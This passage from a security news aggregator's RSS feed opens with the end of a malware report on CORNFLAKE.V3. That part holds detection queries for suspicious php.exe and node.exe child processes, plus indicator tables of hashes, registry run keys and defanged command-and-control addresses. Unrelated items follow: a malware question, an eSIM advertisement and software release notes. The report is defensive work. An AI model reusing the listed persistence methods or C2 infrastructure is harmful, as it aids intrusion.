principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase
target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase
target.process.command_line != /\.php\s*\s*/ nocase</code></pre></div>
<div class="block-paragraph_advanced"><h5><span>CORNFLAKE.V3 Child Process Spawns</span></h5>
<p><span>Search suspicious process activity where cmd.exe or powershell.exe are spawned as child processes from node.exe or php.exe when those executables are located in %AppData%.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = 
/appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase 
target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase</code></pre></div>
<div class="block-paragraph_advanced"><h5><span>Suspicious Connections to Node.js/PHP Domains</span></h5>
<p><span>Search unusual network connections initiated by powershell.exe or mshta.exe to legitimate Node.js (nodejs.org) or PHP (windows.php.net) infrastructure domains.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>metadata.event_type = "NETWORK_CONNECTION"
principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase 
target.hostname = /nodejs\.org|windows\.php\.net/ nocase</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>Indicators of Compromise (IOCs)</span></h3>
<p><span>A <a href="https://www.virustotal.com/gui/collection/dc4207feb8863f26779d067a40b20d7e80b8d225f54ea16e24dcc7493a70d9b9" rel="noopener" target="_blank">Google Threat Intelligence (GTI) collection of IOCs</a> is available to registered users</span><span>.</span></p>
<h4><span><span>Host-Based Artifacts</span></span></h4></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong><span>Artifact</span></strong></p>
</td>
<td>
<p><strong><span>Description</span></strong></p>
</td>
<td>
<p><strong><span>SHA-256 Hash</span></strong></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\Users\&lt;User&gt;\AppData\Roaming\node-v22.11.0-win-x64\ckw8ua56.log</span></p>
</td>
<td>
<p><span>Copy of the CORNFLAKE.V3 (Node.js) sample used for persistence</span></p>
</td>
<td>
<p>000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b</p>
</td>
</tr>
<tr>
<td>
<p><span>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater</span></p>
</td>
<td>
<p><span>Registry run key that executes the CORNFLAKE.V3 (Node.js) sample</span></p>
</td>
<td>
<p><span>N/A</span></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\Users\&lt;User&gt;\AppData\Roaming\php\config.cfg</span></p>
</td>
<td>
<p><span>CORNFLAKE.V3 (PHP) sample</span></p>
</td>
<td>
<p>a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1</p>
</td>
</tr>
<tr>
<td>
<p><span>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iCube</span></p>
</td>
<td>
<p><span>Registry run key that executes the CORNFLAKE.V3 (PHP) sample</span></p>
</td>
<td>
<p><span>N/A</span></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\Users\&lt;User&gt;\AppData\Roaming\Shift194340\78G0ZrQi.png</span></p>
</td>
<td>
<p><span>WINDYTWIST.SEA backdoor sample dropped by CORNFLAKE.V3 (PHP)</span></p>
</td>
<td>
<p>14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c</p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h4>Network-Based Artifacts</h4></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong><span>IP Address</span></strong></p>
</td>
<td>
<p><strong><span>Description</span></strong></p>
</td>
</tr>
<tr>
<td>
<p><code>138.199.161[.]141</code></p>
</td>
<td>
<p><span>IP address associated with UNC5518 used to distribute CORNFLAKE.V3 (Node.js) malware</span></p>
</td>
</tr>
<tr>
<td>
<p><code>159.69.3[.]151</code></p>
</td>
<td>
<p><span>CORNFLAKE.V3 (Node.js) C2 server associated with UNC5774</span></p>
</td>
</tr>
<tr>
<td>
<p><code>varying-rentals-calgary-predict.trycloudflare[.]com</code></p>
</td>
<td>
<p><span>CORNFLAKE.V3 (PHP) C2 server associated with UNC5774</span></p>
</td>
</tr>
<tr>
<td>
<p><code>dnsmicrosoftds-data[.]com</code></p>
<p><code>windows-msg-as[.]live</code></p>
</td>
<td>
<p><span>Domains associated with UNC5518 used to distribute CORNFLAKE.V3 (PHP) malware</span></p>
</td>
</tr>
<tr>
<td>
<p><code>167.235.235[.]151</code></p>
<p><code>128.140.120[.]188</code></p>
<p><code>177.136.225[.]135</code></p>
</td>
<td>
<p><span>WINDYTWIST.SEA backdoor C2 server addresses associated with UNC5774</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Alguém me explica sobre Isso]]></title>
<description><![CDATA[🇧🇷- Olá galera meu nome é Wolf e alguns dias vi uma publicação explicando sobre vírus chamado 不朽.APK que na tradução em chinês para português é: Imortal.APK com base nas poucas informações dizem que esse vírus não tem como instalar de Android 4 para cima dizem que esse vírus ele se passa de um jo...]]></description>
<link>https://tsecurity.de/de/3502145/malware-trojaner-viren/algum-me-explica-sobre-isso/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3502145/malware-trojaner-viren/algum-me-explica-sobre-isso/</guid>
<pubDate>Sat, 09 May 2026 03:49:26 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>🇧🇷- Olá galera meu nome é Wolf e alguns dias vi uma publicação explicando sobre vírus chamado 不朽.APK que na tradução em chinês para português é: Imortal.APK com base nas poucas informações dizem que esse vírus não tem como instalar de Android 4 para cima dizem que esse vírus ele se passa de um jogo de Subway surfs de mod de dinheiro infinito e dizem que ele tem vírus que pede permissão para controlar seu dispositivo e quando ele é permitido ele some do seu celular e se alguém puder me informar eu ficaria agradecido </p> <p>🇺🇸- Hi everyone, my name is Wolf and a few days ago I saw a post explaining about a virus called 不朽.APK, which translates from Chinese to English as Immortal.APK. Based on the limited information available, they say this virus cannot be installed on Android 4 and above. They claim this virus masquerades as a Subway Surfers mod with unlimited money and that it contains a virus that asks for permission to control your device, and once permission is granted, it disappears from your phone. If anyone can provide me with more information, I would be grateful.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/PassengerRare3799"> /u/PassengerRare3799 </a> <br> <span><a href="https://i.redd.it/zyr4kwgswgtg1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1sdkbvy/algu%C3%A9m_me_explica_sobre_isso/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[¿Cuál es la mejor opción de internet cuando viajamos por trabajo? Por qué Holafly for Business es la preferida de las empresas]]></title>
<description><![CDATA[Para un equipo IT, uno de los mayores riesgos cuando un empleado viaja no es el vuelo, sino el acceso a internet cuando llega a su destino: un trabajador que aterriza sin conexión no solo pierde tiempo, sino que pierde acceso a herramientas críticas, recurre a redes WiFi inseguras o toma decision...]]></description>
<link>https://tsecurity.de/de/3499068/it-nachrichten/cul-es-la-mejor-opcin-de-internet-cuando-viajamos-por-trabajo-por-qu-holafly-for-business-es-la-preferida-de-las-empresas/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3499068/it-nachrichten/cul-es-la-mejor-opcin-de-internet-cuando-viajamos-por-trabajo-por-qu-holafly-for-business-es-la-preferida-de-las-empresas/</guid>
<pubDate>Fri, 08 May 2026 13:33:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Para un equipo IT, uno de los mayores riesgos cuando un empleado viaja no es el vuelo, sino el acceso a internet cuando llega a su destino: un trabajador que aterriza sin conexión no solo pierde tiempo, sino que pierde acceso a herramientas críticas, recurre a redes WiFi inseguras o toma decisiones sin información en tiempo real. Y en contextos donde la movilidad internacional forma parte del día a día de miles de empresas, esto deja de ser una incomodidad para convertirse en un problema operativo real.</p>



<p>Es por eso que soluciones como <a href="https://esim.holafly.com/es/" target="_blank" rel="sponsored">Holafly for Business</a> empiezan a posicionarse como una capa de infraestructura que permite a los equipos IT recuperar el control y la seguridad de sus equipos. A través de eSIMs corporativas, garantizan que cualquier empleado esté conectado desde el momento en que aterriza, sin fricción, sin dependencia de terceros y con visibilidad centralizada.</p>



<p>Estas son las siete claves que explican por qué cada vez más empresas están apostando por este modelo:</p>



<h3 class="wp-block-heading">1.- Conexión desde el momento en que aterrizas</h3>



<p>Una de las claves está precisamente en esa inmediatez. El usuario puede instalar la eSIM antes de viajar y, una vez llega a destino, su dispositivo está operativo sin necesidad de buscar WiFi, comprar tarjetas físicas o realizar configuraciones adicionales. Esto elimina uno de los puntos de fricción más habituales en los viajes corporativos y reduce significativamente el tiempo improductivo en los primeros momentos del desplazamiento.</p>



<h3 class="wp-block-heading">2.- Seguridad reforzada</h3>



<p>Desde el punto de vista de la seguridad, el impacto es igualmente relevante. Evitar redes WiFi públicas no es solo una buena práctica, sino una necesidad en entornos donde se manejan datos sensibles o accesos a sistemas corporativos. Al priorizar conexiones móviles cifradas, se reduce la superficie de ataque y se protege el tráfico en movilidad, algo especialmente crítico en organizaciones.</p>



<h3 class="wp-block-heading">3.- Control centralizado para IT</h3>



<p>En paralelo, la gestión de la conectividad deja de ser una carga operativa para el departamento. Holafly Business Center permite centralizar la asignación de eSIMs, automatizar la facturación y mantener una visibilidad global sobre el consumo. Esto no solo mejora el control, sino que reduce tareas manuales y facilita la toma de decisiones basada en datos, algo cada vez más necesario en entornos distribuidos.</p>



<h3 class="wp-block-heading">4.- Ahorro de hasta 85% por cargos de ‘roaming’</h3>



<p>Otro de los puntos clave es la previsibilidad financiera. El <em>roaming </em>tradicional sigue siendo una fuente frecuente de desviaciones presupuestarias, con costes difíciles de anticipar y facturas inesperadas. Con modelos que permiten ahorros de hasta el 85%, Holafly for Business no solo optimiza el gasto, sino que aporta algo igual de importante: control y estabilidad en los costes asociados a la movilidad internacional.</p>



<h3 class="wp-block-heading">5.- Adaptación a distintos perfiles de uso</h3>



<p>La solución se adapta a diferentes perfiles de uso dentro de la organización; desde empleados con alta demanda de datos, que necesitan planes ilimitados con funcionalidades como hotspot o soporte para autenticación en dos factores, hasta perfiles con menor intensidad de uso, que pueden operar con planes más acotados sin perder eficiencia.</p>



<h3 class="wp-block-heading">6.- Siempre conectado</h3>



<p>En términos de continuidad, soluciones como Always On introducen una capa de conectividad permanente en más de 150 países, lo que elimina la necesidad de replantear la conectividad en cada desplazamiento. Por otro lado, el <strong>Plan Unlimited, </strong>accesible en 220 destinos, responde a escenarios de alta demanda de datos, integrando funcionalidades clave como hotspot y SMS para autenticación en dos factores (2FA), fundamental en entornos con políticas de seguridad reforzadas. Para empresas con baja demanda los <strong>planes por días</strong> incluyen facturación automática, asignación inmediata de eSIMs para empleados y la plataforma para empresas más fácil del mercado.</p>



<h3 class="wp-block-heading">7.- 100% digital y sin fricciones</h3>



<p>A nivel operativo, el modelo de despliegue también responde a las necesidades actuales de IT. La entrega de eSIM por email permite activar dispositivos de forma remota, sin logística ni tiempos de espera, alineándose con modelos de Zero Touch Provisioning. Este enfoque, además, encaja con estrategias de sostenibilidad IT, al eliminar la necesidad de SIM físicas y reducir residuos, algo cada vez más presente en las políticas ESG de las compañías.</p>



<p>Con una valoración de 4.6/5 en Trustpilot y más de 80.000 reseñas, Holafly for Business se posiciona como una de las soluciones mejor valoradas por empresas y viajeros profesionales. Pero más allá de los datos, lo que realmente está cambiando es la forma en la que las empresas entienden la conectividad en movilidad.</p>



<p>Porque en un entorno donde los equipos trabajan desde cualquier parte del mundo, la conectividad ya no es un complemento. Es infraestructura. Y, cada vez más, también es sinónimo de tranquilidad operativa.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.159.0]]></title>
<description><![CDATA[This release greatly improves and simplifies management of Node.js/npm dependencies in a multi-module setup. See this page for more information.
Note

Replace deprecated site.Data with hugo.Data in tests a8fca59 @bep
Replace deprecated excludeFiles and includeFiles with files in tests 182b104 @be...]]></description>
<link>https://tsecurity.de/de/3497333/downloads/v01590/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497333/downloads/v01590/</guid>
<pubDate>Thu, 07 May 2026 22:31:55 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release greatly improves and simplifies management of Node.js/npm dependencies in a multi-module setup. See <a href="https://gohugo.io/hugo-modules/nodejs-dependencies/" rel="nofollow">this page</a> for more information.</p>
<h2>Note</h2>
<ul>
<li>Replace deprecated site.Data with hugo.Data in tests <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a8fca598e6c33aea1257970e791bbf80891b89c0/hovercard" href="https://github.com/gohugoio/hugo/commit/a8fca598e6c33aea1257970e791bbf80891b89c0"><tt>a8fca59</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>Replace deprecated excludeFiles and includeFiles with files in tests <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/182b104571efdfc05a328a339cbcf16b94a90337/hovercard" href="https://github.com/gohugoio/hugo/commit/182b104571efdfc05a328a339cbcf16b94a90337"><tt>182b104</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>Replace deprecated :filename with :contentbasename in the permalinks test <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/eb11c3d0bc4642ed454521135810ed0ea7cf48b9/hovercard" href="https://github.com/gohugoio/hugo/commit/eb11c3d0bc4642ed454521135810ed0ea7cf48b9"><tt>eb11c3d</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
</ul>
<h2>Bug fixes</h2>
<ul>
<li>tpl/tplimpl: Fix Vimeo shortcode test <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/eaf4c7515a63224b75279575d7ffc8c0ec40776b/hovercard" href="https://github.com/gohugoio/hugo/commit/eaf4c7515a63224b75279575d7ffc8c0ec40776b"><tt>eaf4c75</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4101481247" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14649" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14649/hovercard" href="https://github.com/gohugoio/hugo/issues/14649">#14649</a></li>
</ul>
<h2>Improvements</h2>
<ul>
<li>create: Return error instead of panic when page not found <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/807cae1df11cc83edadcdad29ed762870b5d48fa/hovercard" href="https://github.com/gohugoio/hugo/commit/807cae1df11cc83edadcdad29ed762870b5d48fa"><tt>807cae1</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mango766/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mango766">@mango766</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3590327714" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14112" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14112/hovercard" href="https://github.com/gohugoio/hugo/issues/14112">#14112</a></li>
<li>commands: Preserve non-content files in convert output <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/c4fb61d9dfb7a2a638ef69ef8ba4e4dc3ecd93ef/hovercard" href="https://github.com/gohugoio/hugo/commit/c4fb61d9dfb7a2a638ef69ef8ba4e4dc3ecd93ef"><tt>c4fb61d</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xndvaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xndvaz">@xndvaz</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="314404039" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/4621" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/4621/hovercard" href="https://github.com/gohugoio/hugo/issues/4621">#4621</a></li>
<li>npm: Use workspaces to simplify <code>hugo mod npm pack</code> <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/d88a29e002ebc31bf9b4e1e024f141cc0b39a657/hovercard" href="https://github.com/gohugoio/hugo/commit/d88a29e002ebc31bf9b4e1e024f141cc0b39a657"><tt>d88a29e</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>commands: Close cpu profile file when StartCPUProfile fails <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/9dd9c7602728df6cfebe04115b40d9e01a428e45/hovercard" href="https://github.com/gohugoio/hugo/commit/9dd9c7602728df6cfebe04115b40d9e01a428e45"><tt>9dd9c76</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/buley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/buley">@buley</a></li>
<li>Remove the AI Watchdog workflow for now <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/3315a86d67dafda106eb8e422f8aebff67bff92d/hovercard" href="https://github.com/gohugoio/hugo/commit/3315a86d67dafda106eb8e422f8aebff67bff92d"><tt>3315a86</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>Remove 'bep' from PR user logins skip list <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/38244842e0bba753d457b5a4f3913f06d3a22d56/hovercard" href="https://github.com/gohugoio/hugo/commit/38244842e0bba753d457b5a4f3913f06d3a22d56"><tt>3824484</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>tpl/tplimpl: Comment out the Vimeo simple shortcode tests <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/7813c5c89dcd21fe197b2be6f36fe3c217b60935/hovercard" href="https://github.com/gohugoio/hugo/commit/7813c5c89dcd21fe197b2be6f36fe3c217b60935"><tt>7813c5c</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4101481247" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14649" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14649/hovercard" href="https://github.com/gohugoio/hugo/issues/14649">#14649</a></li>
</ul>
<h2>Dependency Updates</h2>
<ul>
<li>build(deps): bump github.com/olekukonko/tablewriter from 1.1.3 to 1.1.4 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4086961763" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14641" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14641/hovercard" href="https://github.com/gohugoio/hugo/pull/14641">#14641</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/3ff9b7f89ffd3672e0c02cd43f61ff05128f3d83/hovercard" href="https://github.com/gohugoio/hugo/commit/3ff9b7f89ffd3672e0c02cd43f61ff05128f3d83"><tt>3ff9b7f</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/yuin/goldmark from 1.7.16 to 1.7.17 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/be93ccd30419f1630497c7d1be421441e9a64994/hovercard" href="https://github.com/gohugoio/hugo/commit/be93ccd30419f1630497c7d1be421441e9a64994"><tt>be93ccd</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/magefile/mage from 1.15.0 to 1.16.1 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/2669bca6fd218a2930984f8c65b9cf15e7d33d10/hovercard" href="https://github.com/gohugoio/hugo/commit/2669bca6fd218a2930984f8c65b9cf15e7d33d10"><tt>2669bca</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump golang.org/x/image from 0.36.0 to 0.37.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/753d447f11ef3b26bc0bfe83cebaf1404d8fbb8c/hovercard" href="https://github.com/gohugoio/hugo/commit/753d447f11ef3b26bc0bfe83cebaf1404d8fbb8c"><tt>753d447</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump google.golang.org/grpc from 1.78.0 to 1.79.3 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4f39d724fe3d7ac8bc37fcc9136fa30eb0359c6b/hovercard" href="https://github.com/gohugoio/hugo/commit/4f39d724fe3d7ac8bc37fcc9136fa30eb0359c6b"><tt>4f39d72</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
</ul>
<h2>Documentation</h2>
<ul>
<li>docs: Update docs.yaml <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/d2043cfae59468ba2e33d3d3d70a1d45bb2c081b/hovercard" href="https://github.com/gohugoio/hugo/commit/d2043cfae59468ba2e33d3d3d70a1d45bb2c081b"><tt>d2043cf</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>commands: Update docs linke to Node.js docs <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4f3c39890e53ff4bf66cfe4df95426708f50bfa2/hovercard" href="https://github.com/gohugoio/hugo/commit/4f3c39890e53ff4bf66cfe4df95426708f50bfa2"><tt>4f3c398</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.25.0]]></title>
<description><![CDATA[Installation
See the installation instructions for details, but it's easy:

macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
Windows and WSL2: Download the Windows Installer; you can run it for inst...]]></description>
<link>https://tsecurity.de/de/3497297/downloads/v1250/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497297/downloads/v1250/</guid>
<pubDate>Thu, 07 May 2026 22:17:20 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Installation</h2>
<p>See the <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/" rel="nofollow">installation instructions</a> for details, but it's easy:</p>
<ul>
<li>macOS: <code>brew install ddev/ddev/ddev</code> or just <code>brew upgrade ddev</code>.</li>
<li>Linux: Use <code>sudo apt-get update &amp;&amp; sudo apt-get install ddev</code>, see <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/#linux" rel="nofollow">apt/yum installation</a></li>
<li>Windows and WSL2: Download the <a href="https://ddev.com/download/" rel="nofollow">Windows Installer</a>; you can run it for install or upgrade. <code>winget install --interactive ddev</code> works too.<br>
<g-emoji class="g-emoji" alias="warning">⚠️</g-emoji> <strong>Traditional Windows users (not WSL2)</strong>: If needed, the installer will prompt you to uninstall the previous system-wide installation to avoid conflicts with the new per-user installation.</li>
<li>Consider <code>ddev delete images</code> or <code>ddev delete images --all</code> after upgrading to free up disk space used by previous Docker image versions. This does no harm.</li>
<li>Consider <code>ddev config --auto</code> to update your projects to current configuration.</li>
</ul>
<h2>Highlights</h2>
<h3>New defaults</h3>
<ul>
<li>Debian <strong>Trixie</strong> is now the base image for <code>ddev-webserver</code> and <code>ddev-ssh-agent</code> (replacing Debian Bookworm). See <a href="https://www.debian.org/releases/trixie/release-notes/issues.html" rel="nofollow">Issues to be aware of for Trixie</a>.<br>
(Some projects with complex Dockerfiles or obsolete <code>webimage_extra_packages</code> may need to be updated.)</li>
<li><a href="https://ddev.com/blog/xhgui-feature/" rel="nofollow"><strong>XHGui</strong></a> is now the default profiler (prepend mode remains available via <code>ddev config global --xhprof-mode=prepend</code>).</li>
<li><strong>Node.js v24</strong> is default in new projects (replacing Node.js v22)</li>
<li><strong>PHP 8.4</strong> is default in new projects (replacing PHP 8.3)</li>
<li><strong>MariaDB 11.8</strong> is default in new projects (replacing MariaDB 10.11)</li>
</ul>
<h3>Additional highlights</h3>
<ul>
<li>Completely revised <strong><a href="https://ddev.com/download/" rel="nofollow">Windows installer</a></strong> now uses <strong>per-user installation</strong> for WSL2 or traditional Windows (no admin account required)</li>
<li>Reworked configurable <code>ddev share</code> command with a new <strong>cloudflared</strong> share provider, see <a href="https://docs.ddev.com/en/stable/users/topics/sharing/" rel="nofollow">new docs</a> and <a href="https://ddev.com/blog/share-providers/" rel="nofollow">blog</a></li>
<li>Add <code>ddev utility xdebug-diagnose</code> command, see <a href="https://ddev.com/blog/xdebug-step-debugging-understanding-and-troubleshooting/" rel="nofollow">Xdebug in DDEV: Understanding, Debugging, and Troubleshooting Step Debugging</a></li>
<li>Add <code>ddev utility mutagen-diagnose</code> command, see <a href="https://ddev.com/blog/mutagen-functionality-issues-debugging/" rel="nofollow">Mutagen in DDEV: Functionality, Issues, and Debugging</a></li>
<li><code>ddev pantheon pull</code> got new <code>DDEV_PANTHEON_SITE</code>, <code>DDEV_PANTHEON_ENVIRONMENT</code>, <code>DDEV_USE_PANTHEON_BACKUP</code> variables, see updated <a href="https://docs.ddev.com/en/stable/users/providers/pantheon/" rel="nofollow">Pantheon Integration</a></li>
<li><code>ddev snapshot</code> now uses <strong>zstd</strong> instead of gzip for significantly faster exports and restores, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deviantintegral/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deviantintegral">@deviantintegral</a></li>
